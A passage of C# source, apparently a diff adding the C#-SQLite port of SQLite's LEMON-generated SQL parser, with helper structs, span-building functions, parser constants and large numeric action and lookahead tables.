sqlite3ParserTOKENTYPE = Sqlite3.Token; + + public partial class Sqlite3 + { + /* + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2010-08-23 18:52:01 42537b60566f288167f1b5864a5435986838e3a3 + ** + ************************************************************************* + */ + + /* Driver template for the LEMON parser generator. + ** The author disclaims copyright to this source code. + ** + ** This version of "lempar.c" is modified, slightly, for use by SQLite. + ** The only modifications are the addition of a couple of NEVER() + ** macros to disable tests that are needed in the case of a general + ** LALR(1) grammar but which are always false in the + ** specific grammar used by SQLite. + */ + /* First off, code is included that follows the "include" declaration + ** in the input grammar file. */ + //#include + //#line 51 "parse.y" + + //#include "sqliteInt.h" + /* + ** Disable all error recovery processing in the parser push-down + ** automaton. + */ + //#define YYNOERRORRECOVERY 1 + const int YYNOERRORRECOVERY = 1; + + /* + ** Make yytestcase() the same as testcase() + */ + //#define yytestcase(X) testcase(X) + static void yytestcase( T X ) + { + testcase( X ); + } + + /* + ** An instance of this structure holds information about the + ** LIMIT clause of a SELECT statement. + */ + public struct LimitVal + { + public Expr pLimit; /* The LIMIT expression. NULL if there is no limit */ + public Expr pOffset; /* The OFFSET expression. NULL if there is none */ + }; + + /* + ** An instance of this structure is used to store the LIKE, + ** GLOB, NOT LIKE, and NOT GLOB operators. + */ + public struct LikeOp + { + public Token eOperator; /* "like" or "glob" or "regexp" */ + public bool not; /* True if the NOT keyword is present */ + }; + + /* + ** An instance of the following structure describes the event of a + ** TRIGGER. "a" is the event type, one of TK_UPDATE, TK_INSERT, + ** TK_DELETE, or TK_INSTEAD. If the event is of the form + ** + ** UPDATE ON (a,b,c) + ** + ** Then the "b" IdList records the list "a,b,c". + */ + public struct TrigEvent + { + public int a; + public IdList b; + }; + /* + ** An instance of this structure holds the ATTACH key and the key type. + */ + public struct AttachKey + { + public int type; + public Token key; + }; + + //#line 722 "parse.y" + + /* This is a utility routine used to set the ExprSpan.zStart and + ** ExprSpan.zEnd values of pOut so that the span covers the complete + ** range of text beginning with pStart and going to the end of pEnd. + */ + static void spanSet( ExprSpan pOut, Token pStart, Token pEnd ) + { + pOut.zStart = pStart.z; + pOut.zEnd = pEnd.z.Substring( pEnd.n ); + } + + /* Construct a new Expr object from a single identifier. Use the + ** new Expr to populate pOut. Set the span of pOut to be the identifier + ** that created the expression. + */ + static void spanExpr( ExprSpan pOut, Parse pParse, int op, Token pValue ) + { + pOut.pExpr = sqlite3PExpr( pParse, op, 0, 0, pValue ); + pOut.zStart = pValue.z; + pOut.zEnd = pValue.z.Substring( pValue.n ); + } + //#line 817 "parse.y" + + /* This routine constructs a binary expression node out of two ExprSpan + ** objects and uses the result to populate a new ExprSpan object. + */ + static void spanBinaryExpr( + ExprSpan pOut, /* Write the result here */ + Parse pParse, /* The parsing context. Errors accumulate here */ + int op, /* The binary operation */ + ExprSpan pLeft, /* The left operand */ + ExprSpan pRight /* The right operand */ + ) + { + pOut.pExpr = sqlite3PExpr( pParse, op, pLeft.pExpr, pRight.pExpr, 0 ); + pOut.zStart = pLeft.zStart; + pOut.zEnd = pRight.zEnd; + } + //#line 873 "parse.y" + + /* Construct an expression node for a unary postfix operator + */ + static void spanUnaryPostfix( + ExprSpan pOut, /* Write the new expression node here */ + Parse pParse, /* Parsing context to record errors */ + int op, /* The operator */ + ExprSpan pOperand, /* The operand */ + Token pPostOp /* The operand token for setting the span */ + ) + { + pOut.pExpr = sqlite3PExpr( pParse, op, pOperand.pExpr, 0, 0 ); + pOut.zStart = pOperand.zStart; + pOut.zEnd = pPostOp.z.Substring( pPostOp.n ); + } + //#line 892 "parse.y" + + /* A routine to convert a binary TK_IS or TK_ISNOT expression into a + ** unary TK_ISNULL or TK_NOTNULL expression. */ + static void binaryToUnaryIfNull( Parse pParse, Expr pY, Expr pA, int op ) + { + sqlite3 db = pParse.db; + if ( /*db.mallocFailed == null && */pY.op == TK_NULL ) + { + pA.op = (u8)op; + sqlite3ExprDelete( db, ref pA.pRight ); + pA.pRight = null; + } + } + //#line 920 "parse.y" + + /* Construct an expression node for a unary prefix operator + */ + static void spanUnaryPrefix( + ExprSpan pOut, /* Write the new expression node here */ + Parse pParse, /* Parsing context to record errors */ + int op, /* The operator */ + ExprSpan pOperand, /* The operand */ + Token pPreOp /* The operand token for setting the span */ + ) + { + pOut.pExpr = sqlite3PExpr( pParse, op, pOperand.pExpr, 0, 0 ); + pOut.zStart = pPreOp.z; + pOut.zEnd = pOperand.zEnd; + } + //#line 141 "parse.c" + /* Next is all token values, in a form suitable for use by makeheaders. + ** This section will be null unless lemon is run with the -m switch. + */ + /* + ** These constants (all generated automatically by the parser generator) + ** specify the various kinds of tokens (terminals) that the parser + ** understands. + ** + ** Each symbol here is a terminal symbol in the grammar. + */ + /* Make sure the INTERFACE macro is defined. + */ +#if !INTERFACE + //# define INTERFACE 1 +#endif + /* The next thing included is series of defines which control +** various aspects of the generated parser. +** YYCODETYPE is the data type used for storing terminal +** and nonterminal numbers. "unsigned char" is +** used if there are fewer than 250 terminals +** and nonterminals. "int" is used otherwise. +** YYNOCODE is a number of type YYCODETYPE which corresponds +** to no legal terminal or nonterminal number. This +** number is used to fill in empty slots of the hash +** table. +** YYFALLBACK If defined, this indicates that one or more tokens +** have fall-back values which should be used if the +** original value of the token will not parse. +** YYACTIONTYPE is the data type used for storing terminal +** and nonterminal numbers. "unsigned char" is +** used if there are fewer than 250 rules and +** states combined. "int" is used otherwise. +** sqlite3ParserTOKENTYPE is the data type used for minor tokens given +** directly to the parser from the tokenizer. +** YYMINORTYPE is the data type used for all minor tokens. +** This is typically a union of many types, one of +** which is sqlite3ParserTOKENTYPE. The entry in the union +** for base tokens is called "yy0". +** YYSTACKDEPTH is the maximum depth of the parser's stack. If +** zero the stack is dynamically sized using realloc() +** sqlite3ParserARG_SDECL A static variable declaration for the %extra_argument +** sqlite3ParserARG_PDECL A parameter declaration for the %extra_argument +** sqlite3ParserARG_STORE Code to store %extra_argument into yypParser +** sqlite3ParserARG_FETCH Code to extract %extra_argument from yypParser +** YYNSTATE the combined number of states. +** YYNRULE the number of rules in the grammar +** YYERRORSYMBOL is the code number of the error symbol. If not +** defined, then do no error processing. +*/ + //#define YYCODETYPE unsigned short char + const int YYNOCODE = 253; + //#define YYACTIONTYPE unsigned short int + const int YYWILDCARD = 67; + //#define sqlite3ParserTOKENTYPE Token + public class YYMINORTYPE + { + public int yyinit; + public sqlite3ParserTOKENTYPE yy0 = new sqlite3ParserTOKENTYPE(); + public int yy4; + public TrigEvent yy90; + public ExprSpan yy118 = new ExprSpan(); + public TriggerStep yy203; + public u8 yy210; + public struct _yy215 + { + public int value; + public int mask; + } + public _yy215 yy215; + public SrcList yy259; + public LimitVal yy292; + public Expr yy314; + public ExprList yy322; + public LikeOp yy342; + public IdList yy384; + public Select yy387; + } + +#if !YYSTACKDEPTH + const int YYSTACKDEPTH = 100; +#endif + //#define sqlite3ParserARG_SDECL Parse pParse; + //#define sqlite3ParserARG_PDECL ,Parse pParse + //#define sqlite3ParserARG_FETCH Parse pParse = yypParser.pParse + //#define sqlite3ParserARG_STORE yypParser.pParse = pParse + const int YYNSTATE = 630; + const int YYNRULE = 329; + //#define YYFALLBACK 1 + const int YYFALLBACK = 1; + const int YY_NO_ACTION = ( YYNSTATE + YYNRULE + 2 ); + const int YY_ACCEPT_ACTION = ( YYNSTATE + YYNRULE + 1 ); + const int YY_ERROR_ACTION = ( YYNSTATE + YYNRULE ); + + /* The yyzerominor constant is used to initialize instances of + ** YYMINORTYPE objects to zero. */ + YYMINORTYPE yyzerominor = new YYMINORTYPE();//static const YYMINORTYPE yyzerominor = { 0 }; + + /* Define the yytestcase() macro to be a no-op if is not already defined + ** otherwise. + ** + ** Applications can choose to define yytestcase() in the %include section + ** to a macro that can assist in verifying code coverage. For production + ** code the yytestcase() macro should be turned off. But it is useful + ** for testing. + */ + //#if !yytestcase + //# define yytestcase(X) + //#endif + + /* Next are the tables used to determine what action to take based on the + ** current state and lookahead token. These tables are used to implement + ** functions that take a state number and lookahead value and return an + ** action integer. + ** + ** Suppose the action integer is N. Then the action is determined as + ** follows + ** + ** 0 <= N < YYNSTATE Shift N. That is, push the lookahead + ** token onto the stack and goto state N. + ** + ** YYNSTATE <= N < YYNSTATE+YYNRULE Reduce by rule N-YYNSTATE. + ** + ** N == YYNSTATE+YYNRULE A syntax error has occurred. + ** + ** N == YYNSTATE+YYNRULE+1 The parser accepts its input. + ** + ** N == YYNSTATE+YYNRULE+2 No such action. Denotes unused + ** slots in the yy_action[] table. + ** + ** The action table is constructed as a single large table named yy_action[]. + ** Given state S and lookahead X, the action is computed as + ** + ** yy_action[ yy_shift_ofst[S] + X ] + ** + ** If the index value yy_shift_ofst[S]+X is out of range or if the value + ** yy_lookahead[yy_shift_ofst[S]+X] is not equal to X or if yy_shift_ofst[S] + ** is equal to YY_SHIFT_USE_DFLT, it means that the action is not in the table + ** and that yy_default[S] should be used instead. + ** + ** The formula above is for computing the action when the lookahead is + ** a terminal symbol. If the lookahead is a non-terminal (as occurs after + ** a reduce action) then the yy_reduce_ofst[] array is used in place of + ** the yy_shift_ofst[] array and YY_REDUCE_USE_DFLT is used in place of + ** YY_SHIFT_USE_DFLT. + ** + ** The following are the tables generated in this section: + ** + ** yy_action[] A single table containing all actions. + ** yy_lookahead[] A table containing the lookahead for each entry in + ** yy_action. Used to detect hash collisions. + ** yy_shift_ofst[] For each state, the offset into yy_action for + ** shifting terminals. + ** yy_reduce_ofst[] For each state, the offset into yy_action for + ** shifting non-terminals after a reduce. + ** yy_default[] Default action for each state. + */ + //#define YY_ACTTAB_COUNT (1557) + const int YY_ACTTAB_COUNT = 1557; + static YYACTIONTYPE[] yy_action = new YYACTIONTYPE[]{ +/* 0 */ 313, 960, 186, 419, 2, 172, 627, 597, 55, 55, +/* 10 */ 55, 55, 48, 53, 53, 53, 53, 52, 52, 51, +/* 20 */ 51, 51, 50, 238, 302, 283, 623, 622, 516, 515, +/* 30 */ 590, 584, 55, 55, 55, 55, 282, 53, 53, 53, +/* 40 */ 53, 52, 52, 51, 51, 51, 50, 238, 6, 56, +/* 50 */ 57, 47, 582, 581, 583, 583, 54, 54, 55, 55, +/* 60 */ 55, 55, 608, 53, 53, 53, 53, 52, 52, 51, +/* 70 */ 51, 51, 50, 238, 313, 597, 409, 330, 579, 579, +/* 80 */ 32, 53, 53, 53, 53, 52, 52, 51, 51, 51, +/* 90 */ 50, 238, 330, 217, 620, 619, 166, 411, 624, 382, +/* 100 */ 379, 378, 7, 491, 590, 584, 200, 199, 198, 58, +/* 110 */ 377, 300, 414, 621, 481, 66, 623, 622, 621, 580, +/* 120 */ 254, 601, 94, 56, 57, 47, 582, 581, 583, 583, +/* 130 */ 54, 54, 55, 55, 55, 55, 671, 53, 53, 53, +/* 140 */ 53, 52, 52, 51, 51, 51, 50, 238, 313, 532, +/* 150 */ 226, 506, 507, 133, 177, 139, 284, 385, 279, 384, +/* 160 */ 169, 197, 342, 398, 251, 226, 253, 275, 388, 167, +/* 170 */ 139, 284, 385, 279, 384, 169, 570, 236, 590, 584, +/* 180 */ 672, 240, 275, 157, 620, 619, 554, 437, 51, 51, +/* 190 */ 51, 50, 238, 343, 439, 553, 438, 56, 57, 47, +/* 200 */ 582, 581, 583, 583, 54, 54, 55, 55, 55, 55, +/* 210 */ 465, 53, 53, 53, 53, 52, 52, 51, 51, 51, +/* 220 */ 50, 238, 313, 390, 52, 52, 51, 51, 51, 50, +/* 230 */ 238, 391, 166, 491, 566, 382, 379, 378, 409, 440, +/* 240 */ 579, 579, 252, 440, 607, 66, 377, 513, 621, 49, +/* 250 */ 46, 147, 590, 584, 621, 16, 466, 189, 621, 441, +/* 260 */ 442, 673, 526, 441, 340, 577, 595, 64, 194, 482, +/* 270 */ 434, 56, 57, 47, 582, 581, 583, 583, 54, 54, +/* 280 */ 55, 55, 55, 55, 30, 53, 53, 53, 53, 52, +/* 290 */ 52, 51, 51, 51, 50, 238, 313, 593, 593, 593, +/* 300 */ 387, 578, 606, 493, 259, 351, 258, 411, 1, 623, +/* 310 */ 622, 496, 623, 622, 65, 240, 623, 622, 597, 443, +/* 320 */ 237, 239, 414, 341, 237, 602, 590, 584, 18, 603, +/* 330 */ 166, 601, 87, 382, 379, 378, 67, 623, 622, 38, +/* 340 */ 623, 622, 176, 270, 377, 56, 57, 47, 582, 581, +/* 350 */ 583, 583, 54, 54, 55, 55, 55, 55, 175, 53, +/* 360 */ 53, 53, 53, 52, 52, 51, 51, 51, 50, 238, +/* 370 */ 313, 396, 233, 411, 531, 565, 317, 620, 619, 44, +/* 380 */ 620, 619, 240, 206, 620, 619, 597, 266, 414, 268, +/* 390 */ 409, 597, 579, 579, 352, 184, 505, 601, 73, 533, +/* 400 */ 590, 584, 466, 548, 190, 620, 619, 576, 620, 619, +/* 410 */ 547, 383, 551, 35, 332, 575, 574, 600, 504, 56, +/* 420 */ 57, 47, 582, 581, 583, 583, 54, 54, 55, 55, +/* 430 */ 55, 55, 567, 53, 53, 53, 53, 52, 52, 51, +/* 440 */ 51, 51, 50, 238, 313, 411, 561, 561, 528, 364, +/* 450 */ 259, 351, 258, 183, 361, 549, 524, 374, 411, 597, +/* 460 */ 414, 240, 560, 560, 409, 604, 579, 579, 328, 601, +/* 470 */ 93, 623, 622, 414, 590, 584, 237, 564, 559, 559, +/* 480 */ 520, 402, 601, 87, 409, 210, 579, 579, 168, 421, +/* 490 */ 950, 519, 950, 56, 57, 47, 582, 581, 583, 583, +/* 500 */ 54, 54, 55, 55, 55, 55, 192, 53, 53, 53, +/* 510 */ 53, 52, 52, 51, 51, 51, 50, 238, 313, 600, +/* 520 */ 293, 563, 511, 234, 357, 146, 475, 475, 367, 411, +/* 530 */ 562, 411, 358, 542, 425, 171, 411, 215, 144, 620, +/* 540 */ 619, 544, 318, 353, 414, 203, 414, 275, 590, 584, +/* 550 */ 549, 414, 174, 601, 94, 601, 79, 558, 471, 61, +/* 560 */ 601, 79, 421, 949, 350, 949, 34, 56, 57, 47, +/* 570 */ 582, 581, 583, 583, 54, 54, 55, 55, 55, 55, +/* 580 */ 535, 53, 53, 53, 53, 52, 52, 51, 51, 51, +/* 590 */ 50, 238, 313, 307, 424, 394, 272, 49, 46, 147, +/* 600 */ 349, 322, 4, 411, 491, 312, 321, 425, 568, 492, +/* 610 */ 216, 264, 407, 575, 574, 429, 66, 549, 414, 621, +/* 620 */ 540, 602, 590, 584, 13, 603, 621, 601, 72, 12, +/* 630 */ 618, 617, 616, 202, 210, 621, 546, 469, 422, 319, +/* 640 */ 148, 56, 57, 47, 582, 581, 583, 583, 54, 54, +/* 650 */ 55, 55, 55, 55, 338, 53, 53, 53, 53, 52, +/* 660 */ 52, 51, 51, 51, 50, 238, 313, 600, 600, 411, +/* 670 */ 39, 21, 37, 170, 237, 875, 411, 572, 572, 201, +/* 680 */ 144, 473, 538, 331, 414, 474, 143, 146, 630, 628, +/* 690 */ 334, 414, 353, 601, 68, 168, 590, 584, 132, 365, +/* 700 */ 601, 96, 307, 423, 530, 336, 49, 46, 147, 568, +/* 710 */ 406, 216, 549, 360, 529, 56, 57, 47, 582, 581, +/* 720 */ 583, 583, 54, 54, 55, 55, 55, 55, 411, 53, +/* 730 */ 53, 53, 53, 52, 52, 51, 51, 51, 50, 238, +/* 740 */ 313, 411, 605, 414, 484, 510, 172, 422, 597, 318, +/* 750 */ 496, 485, 601, 99, 411, 142, 414, 411, 231, 411, +/* 760 */ 540, 411, 359, 629, 2, 601, 97, 426, 308, 414, +/* 770 */ 590, 584, 414, 20, 414, 621, 414, 621, 601, 106, +/* 780 */ 503, 601, 105, 601, 108, 601, 109, 204, 28, 56, +/* 790 */ 57, 47, 582, 581, 583, 583, 54, 54, 55, 55, +/* 800 */ 55, 55, 411, 53, 53, 53, 53, 52, 52, 51, +/* 810 */ 51, 51, 50, 238, 313, 411, 597, 414, 411, 276, +/* 820 */ 214, 600, 411, 366, 213, 381, 601, 134, 274, 500, +/* 830 */ 414, 167, 130, 414, 621, 411, 354, 414, 376, 601, +/* 840 */ 135, 129, 601, 100, 590, 584, 601, 104, 522, 521, +/* 850 */ 414, 621, 224, 273, 600, 167, 327, 282, 600, 601, +/* 860 */ 103, 468, 521, 56, 57, 47, 582, 581, 583, 583, +/* 870 */ 54, 54, 55, 55, 55, 55, 411, 53, 53, 53, +/* 880 */ 53, 52, 52, 51, 51, 51, 50, 238, 313, 411, +/* 890 */ 27, 414, 411, 375, 276, 167, 359, 544, 50, 238, +/* 900 */ 601, 95, 128, 223, 414, 411, 165, 414, 411, 621, +/* 910 */ 411, 621, 612, 601, 102, 372, 601, 76, 590, 584, +/* 920 */ 414, 570, 236, 414, 470, 414, 167, 621, 188, 601, +/* 930 */ 98, 225, 601, 138, 601, 137, 232, 56, 45, 47, +/* 940 */ 582, 581, 583, 583, 54, 54, 55, 55, 55, 55, +/* 950 */ 411, 53, 53, 53, 53, 52, 52, 51, 51, 51, +/* 960 */ 50, 238, 313, 276, 276, 414, 411, 276, 544, 459, +/* 970 */ 359, 171, 209, 479, 601, 136, 628, 334, 621, 621, +/* 980 */ 125, 414, 621, 368, 411, 621, 257, 540, 589, 588, +/* 990 */ 601, 75, 590, 584, 458, 446, 23, 23, 124, 414, +/* 1000 */ 326, 325, 621, 427, 324, 309, 600, 288, 601, 92, +/* 1010 */ 586, 585, 57, 47, 582, 581, 583, 583, 54, 54, +/* 1020 */ 55, 55, 55, 55, 411, 53, 53, 53, 53, 52, +/* 1030 */ 52, 51, 51, 51, 50, 238, 313, 587, 411, 414, +/* 1040 */ 411, 207, 611, 476, 171, 472, 160, 123, 601, 91, +/* 1050 */ 323, 261, 15, 414, 464, 414, 411, 621, 411, 354, +/* 1060 */ 222, 411, 601, 74, 601, 90, 590, 584, 159, 264, +/* 1070 */ 158, 414, 461, 414, 621, 600, 414, 121, 120, 25, +/* 1080 */ 601, 89, 601, 101, 621, 601, 88, 47, 582, 581, +/* 1090 */ 583, 583, 54, 54, 55, 55, 55, 55, 544, 53, +/* 1100 */ 53, 53, 53, 52, 52, 51, 51, 51, 50, 238, +/* 1110 */ 43, 405, 263, 3, 610, 264, 140, 415, 622, 24, +/* 1120 */ 410, 11, 456, 594, 118, 155, 219, 452, 408, 621, +/* 1130 */ 621, 621, 156, 43, 405, 621, 3, 286, 621, 113, +/* 1140 */ 415, 622, 111, 445, 411, 400, 557, 403, 545, 10, +/* 1150 */ 411, 408, 264, 110, 205, 436, 541, 566, 453, 414, +/* 1160 */ 621, 621, 63, 621, 435, 414, 411, 621, 601, 94, +/* 1170 */ 403, 621, 411, 337, 601, 86, 150, 40, 41, 534, +/* 1180 */ 566, 414, 242, 264, 42, 413, 412, 414, 600, 595, +/* 1190 */ 601, 85, 191, 333, 107, 451, 601, 84, 621, 539, +/* 1200 */ 40, 41, 420, 230, 411, 149, 316, 42, 413, 412, +/* 1210 */ 398, 127, 595, 315, 621, 399, 278, 625, 181, 414, +/* 1220 */ 593, 593, 593, 592, 591, 14, 450, 411, 601, 71, +/* 1230 */ 240, 621, 43, 405, 264, 3, 615, 180, 264, 415, +/* 1240 */ 622, 614, 414, 593, 593, 593, 592, 591, 14, 621, +/* 1250 */ 408, 601, 70, 621, 417, 33, 405, 613, 3, 411, +/* 1260 */ 264, 411, 415, 622, 418, 626, 178, 509, 8, 403, +/* 1270 */ 241, 416, 126, 408, 414, 621, 414, 449, 208, 566, +/* 1280 */ 240, 221, 621, 601, 83, 601, 82, 599, 297, 277, +/* 1290 */ 296, 30, 403, 31, 395, 264, 295, 397, 489, 40, +/* 1300 */ 41, 411, 566, 220, 621, 294, 42, 413, 412, 271, +/* 1310 */ 621, 595, 600, 621, 59, 60, 414, 269, 267, 623, +/* 1320 */ 622, 36, 40, 41, 621, 601, 81, 598, 235, 42, +/* 1330 */ 413, 412, 621, 621, 595, 265, 344, 411, 248, 556, +/* 1340 */ 173, 185, 593, 593, 593, 592, 591, 14, 218, 29, +/* 1350 */ 621, 543, 414, 305, 304, 303, 179, 301, 411, 566, +/* 1360 */ 454, 601, 80, 289, 335, 593, 593, 593, 592, 591, +/* 1370 */ 14, 411, 287, 414, 151, 392, 246, 260, 411, 196, +/* 1380 */ 195, 523, 601, 69, 411, 245, 414, 526, 537, 285, +/* 1390 */ 389, 595, 621, 414, 536, 601, 17, 362, 153, 414, +/* 1400 */ 466, 463, 601, 78, 154, 414, 462, 152, 601, 77, +/* 1410 */ 355, 255, 621, 455, 601, 9, 621, 386, 444, 517, +/* 1420 */ 247, 621, 593, 593, 593, 621, 621, 244, 621, 243, +/* 1430 */ 430, 518, 292, 621, 329, 621, 145, 393, 280, 513, +/* 1440 */ 291, 131, 621, 514, 621, 621, 311, 621, 259, 346, +/* 1450 */ 249, 621, 621, 229, 314, 621, 228, 512, 227, 240, +/* 1460 */ 494, 488, 310, 164, 487, 486, 373, 480, 163, 262, +/* 1470 */ 369, 371, 162, 26, 212, 478, 477, 161, 141, 363, +/* 1480 */ 467, 122, 339, 187, 119, 348, 347, 117, 116, 115, +/* 1490 */ 114, 112, 182, 457, 320, 22, 433, 432, 448, 19, +/* 1500 */ 609, 431, 428, 62, 193, 596, 573, 298, 555, 552, +/* 1510 */ 571, 404, 290, 380, 498, 510, 495, 306, 281, 499, +/* 1520 */ 250, 5, 497, 460, 345, 447, 569, 550, 238, 299, +/* 1530 */ 527, 525, 508, 961, 502, 501, 961, 401, 961, 211, +/* 1540 */ 490, 356, 256, 961, 483, 961, 961, 961, 961, 961, +/* 1550 */ 961, 961, 961, 961, 961, 961, 370, +}; + static YYCODETYPE[] yy_lookahead = new YYCODETYPE[]{ +/* 0 */ 19, 142, 143, 144, 145, 24, 1, 26, 77, 78, +/* 10 */ 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, +/* 20 */ 89, 90, 91, 92, 15, 98, 26, 27, 7, 8, +/* 30 */ 49, 50, 77, 78, 79, 80, 109, 82, 83, 84, +/* 40 */ 85, 86, 87, 88, 89, 90, 91, 92, 22, 68, +/* 50 */ 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, +/* 60 */ 79, 80, 23, 82, 83, 84, 85, 86, 87, 88, +/* 70 */ 89, 90, 91, 92, 19, 94, 112, 19, 114, 115, +/* 80 */ 25, 82, 83, 84, 85, 86, 87, 88, 89, 90, +/* 90 */ 91, 92, 19, 22, 94, 95, 96, 150, 150, 99, +/* 100 */ 100, 101, 76, 150, 49, 50, 105, 106, 107, 54, +/* 110 */ 110, 158, 165, 165, 161, 162, 26, 27, 165, 113, +/* 120 */ 16, 174, 175, 68, 69, 70, 71, 72, 73, 74, +/* 130 */ 75, 76, 77, 78, 79, 80, 118, 82, 83, 84, +/* 140 */ 85, 86, 87, 88, 89, 90, 91, 92, 19, 23, +/* 150 */ 92, 97, 98, 24, 96, 97, 98, 99, 100, 101, +/* 160 */ 102, 25, 97, 216, 60, 92, 62, 109, 221, 25, +/* 170 */ 97, 98, 99, 100, 101, 102, 86, 87, 49, 50, +/* 180 */ 118, 116, 109, 25, 94, 95, 32, 97, 88, 89, +/* 190 */ 90, 91, 92, 128, 104, 41, 106, 68, 69, 70, +/* 200 */ 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, +/* 210 */ 11, 82, 83, 84, 85, 86, 87, 88, 89, 90, +/* 220 */ 91, 92, 19, 19, 86, 87, 88, 89, 90, 91, +/* 230 */ 92, 27, 96, 150, 66, 99, 100, 101, 112, 150, +/* 240 */ 114, 115, 138, 150, 161, 162, 110, 103, 165, 222, +/* 250 */ 223, 224, 49, 50, 165, 22, 57, 24, 165, 170, +/* 260 */ 171, 118, 94, 170, 171, 23, 98, 25, 185, 186, +/* 270 */ 243, 68, 69, 70, 71, 72, 73, 74, 75, 76, +/* 280 */ 77, 78, 79, 80, 126, 82, 83, 84, 85, 86, +/* 290 */ 87, 88, 89, 90, 91, 92, 19, 129, 130, 131, +/* 300 */ 88, 23, 172, 173, 105, 106, 107, 150, 22, 26, +/* 310 */ 27, 181, 26, 27, 22, 116, 26, 27, 26, 230, +/* 320 */ 231, 197, 165, 230, 231, 113, 49, 50, 204, 117, +/* 330 */ 96, 174, 175, 99, 100, 101, 22, 26, 27, 136, +/* 340 */ 26, 27, 118, 16, 110, 68, 69, 70, 71, 72, +/* 350 */ 73, 74, 75, 76, 77, 78, 79, 80, 118, 82, +/* 360 */ 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, +/* 370 */ 19, 214, 215, 150, 23, 23, 155, 94, 95, 22, +/* 380 */ 94, 95, 116, 160, 94, 95, 94, 60, 165, 62, +/* 390 */ 112, 26, 114, 115, 128, 23, 36, 174, 175, 88, +/* 400 */ 49, 50, 57, 120, 22, 94, 95, 23, 94, 95, +/* 410 */ 120, 51, 25, 136, 169, 170, 171, 194, 58, 68, +/* 420 */ 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, +/* 430 */ 79, 80, 23, 82, 83, 84, 85, 86, 87, 88, +/* 440 */ 89, 90, 91, 92, 19, 150, 12, 12, 23, 228, +/* 450 */ 105, 106, 107, 23, 233, 25, 165, 19, 150, 94, +/* 460 */ 165, 116, 28, 28, 112, 174, 114, 115, 108, 174, +/* 470 */ 175, 26, 27, 165, 49, 50, 231, 11, 44, 44, +/* 480 */ 46, 46, 174, 175, 112, 160, 114, 115, 50, 22, +/* 490 */ 23, 57, 25, 68, 69, 70, 71, 72, 73, 74, +/* 500 */ 75, 76, 77, 78, 79, 80, 119, 82, 83, 84, +/* 510 */ 85, 86, 87, 88, 89, 90, 91, 92, 19, 194, +/* 520 */ 225, 23, 23, 215, 19, 95, 105, 106, 107, 150, +/* 530 */ 23, 150, 27, 23, 67, 25, 150, 206, 207, 94, +/* 540 */ 95, 166, 104, 218, 165, 22, 165, 109, 49, 50, +/* 550 */ 120, 165, 25, 174, 175, 174, 175, 23, 21, 234, +/* 560 */ 174, 175, 22, 23, 239, 25, 25, 68, 69, 70, +/* 570 */ 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, +/* 580 */ 205, 82, 83, 84, 85, 86, 87, 88, 89, 90, +/* 590 */ 91, 92, 19, 22, 23, 216, 23, 222, 223, 224, +/* 600 */ 63, 220, 35, 150, 150, 163, 220, 67, 166, 167, +/* 610 */ 168, 150, 169, 170, 171, 161, 162, 25, 165, 165, +/* 620 */ 150, 113, 49, 50, 25, 117, 165, 174, 175, 35, +/* 630 */ 7, 8, 9, 160, 160, 165, 120, 100, 67, 247, +/* 640 */ 248, 68, 69, 70, 71, 72, 73, 74, 75, 76, +/* 650 */ 77, 78, 79, 80, 193, 82, 83, 84, 85, 86, +/* 660 */ 87, 88, 89, 90, 91, 92, 19, 194, 194, 150, +/* 670 */ 135, 24, 137, 35, 231, 138, 150, 129, 130, 206, +/* 680 */ 207, 30, 27, 213, 165, 34, 118, 95, 0, 1, +/* 690 */ 2, 165, 218, 174, 175, 50, 49, 50, 22, 48, +/* 700 */ 174, 175, 22, 23, 23, 244, 222, 223, 224, 166, +/* 710 */ 167, 168, 120, 239, 23, 68, 69, 70, 71, 72, +/* 720 */ 73, 74, 75, 76, 77, 78, 79, 80, 150, 82, +/* 730 */ 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, +/* 740 */ 19, 150, 173, 165, 181, 182, 24, 67, 26, 104, +/* 750 */ 181, 188, 174, 175, 150, 39, 165, 150, 52, 150, +/* 760 */ 150, 150, 150, 144, 145, 174, 175, 249, 250, 165, +/* 770 */ 49, 50, 165, 52, 165, 165, 165, 165, 174, 175, +/* 780 */ 29, 174, 175, 174, 175, 174, 175, 160, 22, 68, +/* 790 */ 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, +/* 800 */ 79, 80, 150, 82, 83, 84, 85, 86, 87, 88, +/* 810 */ 89, 90, 91, 92, 19, 150, 94, 165, 150, 150, +/* 820 */ 160, 194, 150, 213, 160, 52, 174, 175, 23, 23, +/* 830 */ 165, 25, 22, 165, 165, 150, 150, 165, 52, 174, +/* 840 */ 175, 22, 174, 175, 49, 50, 174, 175, 190, 191, +/* 850 */ 165, 165, 240, 23, 194, 25, 187, 109, 194, 174, +/* 860 */ 175, 190, 191, 68, 69, 70, 71, 72, 73, 74, +/* 870 */ 75, 76, 77, 78, 79, 80, 150, 82, 83, 84, +/* 880 */ 85, 86, 87, 88, 89, 90, 91, 92, 19, 150, +/* 890 */ 22, 165, 150, 23, 150, 25, 150, 166, 91, 92, +/* 900 */ 174, 175, 22, 217, 165, 150, 102, 165, 150, 165, +/* 910 */ 150, 165, 150, 174, 175, 19, 174, 175, 49, 50, +/* 920 */ 165, 86, 87, 165, 23, 165, 25, 165, 24, 174, +/* 930 */ 175, 187, 174, 175, 174, 175, 205, 68, 69, 70, +/* 940 */ 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, +/* 950 */ 150, 82, 83, 84, 85, 86, 87, 88, 89, 90, +/* 960 */ 91, 92, 19, 150, 150, 165, 150, 150, 166, 23, +/* 970 */ 150, 25, 160, 20, 174, 175, 1, 2, 165, 165, +/* 980 */ 104, 165, 165, 43, 150, 165, 240, 150, 49, 50, +/* 990 */ 174, 175, 49, 50, 23, 23, 25, 25, 53, 165, +/* 1000 */ 187, 187, 165, 23, 187, 25, 194, 205, 174, 175, +/* 1010 */ 71, 72, 69, 70, 71, 72, 73, 74, 75, 76, +/* 1020 */ 77, 78, 79, 80, 150, 82, 83, 84, 85, 86, +/* 1030 */ 87, 88, 89, 90, 91, 92, 19, 98, 150, 165, +/* 1040 */ 150, 160, 150, 59, 25, 53, 104, 22, 174, 175, +/* 1050 */ 213, 138, 5, 165, 1, 